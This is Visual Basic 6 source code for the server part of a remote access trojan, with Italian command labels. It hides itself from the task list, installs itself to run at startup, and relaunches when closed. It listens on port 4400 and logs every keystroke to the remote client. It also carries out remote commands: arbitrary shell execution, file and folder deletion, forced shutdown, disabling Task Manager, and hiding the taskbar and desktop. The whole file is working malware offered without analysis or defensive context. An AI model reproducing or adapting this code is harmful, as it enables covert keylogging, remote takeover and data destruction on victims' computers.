Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim SystemPath As String
Dim OS As String
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
AutoRun App.Path & "\" & App.EXEName & ".exe"
WinServer.Close
WinServer.LocalPort = "4400"
WinServer.Listen
Call ProcedureTask
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell (App.Path & "\" & App.EXEName & ".exe")
End Sub
Private Sub tmrKeyLogs_Timer()
On Error Resume Next
Dim i As Integer
For i = 1 To 255
rslt = 0
rslt = GetAsyncKeyState(i)
If rslt = -32767 Then
WinServer.SendData "$Key " & Chr(i)
End If
Next i
End Sub
Private Sub WinServer_ConnectionRequest(ByVal requestID As Long)
WinServer.Close
WinServer.Accept requestID
End Sub
Private Sub ProcedureTask()
Dim lpBuffer As String
Dim nSize As Integer
Dim rc As Long
nSize = 255
lpBuffer = Space$(nSize)
rc = GetSystemDirectory(lpBuffer, nSize)
If (rc <> 0) Then
SystemPath = Left$(lpBuffer, InStr(lpBuffer, Chr$(0)) - 1)
Else
SystemPath = ""
End If
If (Len(SystemPath) = 17) Then
OS = 1
Else
OS = 2
End If
End Sub
Private Sub WinServer_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String
WinServer.GetData Data
If InStr(Data, "$MsgBox ") Then
Dim RepData As String
Dim Dati() As String
RepData = Replace(Data, "$MsgBox ", "")
Dati = Split(RepData, "|")
If Dati(2) = "Normale" Then
MsgBox Dati(0), , Dati(1)
ElseIf Dati(2) = "Informativo" Then
MsgBox Dati(0), vbInformation, Dati(1)
ElseIf Dati(2) = "Esclamativo" Then
MsgBox Dati(0), vbExclamation, Dati(1)
ElseIf Dati(2) = "Errore" Then
MsgBox Dati(0), vbCritical, Dati(1)
End If
ElseIf Data = "$Close" Then
WinServer.Close
WinServer.Listen
ElseIf Data = "$ShutDown" Then
Shell ("shutdown.exe -l -t 00")
ElseIf Data = "$Reboot" Then
Shell ("shutdown.exe -r -t 00")
ElseIf Data = "$Disconnect" Then
Shell ("shutdown.exe -l -t 00")
ElseIf Data = "$OpenCDRom" Then
Call mciSendString("set CDAudio door open", returnstring, 127, 0)
ElseIf Data = "$CloseCDRom" Then
Call mciSendString("set CDAudio door closed", returnstring, 127, 0)
ElseIf Data = "$EnableTask" Then
If (OS = 1) Then
KeysOn
Else
SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", REG_DWORD, "DisableTaskMgr", "0"
End If
ElseIf Data = "$DisableTask" Then
If (OS = 1) Then
KeysOff
Else
SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", REG_DWORD, "DisableTaskMgr", "1"
End If
ElseIf InStr(Data, "$Kill ") Then
Dim File As String
File = Replace(Data, "$Kill ", "")
Call Kill(File)
ElseIf InStr(Data, "$RmDir ") Then
Dim Dir As String
Dir = Replace(Data, "$RmDir ", "")
RmDir (Dir)
ElseIf Data = "$StartKeyLogger" Then
tmrKeyLogs.Enabled = True
ElseIf Data = "$StopKeyLogger" Then
tmrKeyLogs.Enabled = False
ElseIf InStr(Data, "$ShellCmd ") Then
Dim Cmd As String
Cmd = Replace(Data, "$ShellCmd ", "")
Shell (Cmd)
ElseIf Data = "$ShowBar" Then
Call ShowTaskBar(True)
ElseIf Data = "$HideBar" Then
Call ShowTaskBar(False)
ElseIf Data = "$ShowDesktop" Then
Call ShowDesktop(True)
ElseIf Data = "$HideDesktop" Then
Call ShowDesktop(False)
ElseIf Data = "$InvertiMouse" Then
Call SwapMouseButton(True)
ElseIf Data = "$ReimpostaMouse" Then
Call SwapMouseButton(False)
End If
End Sub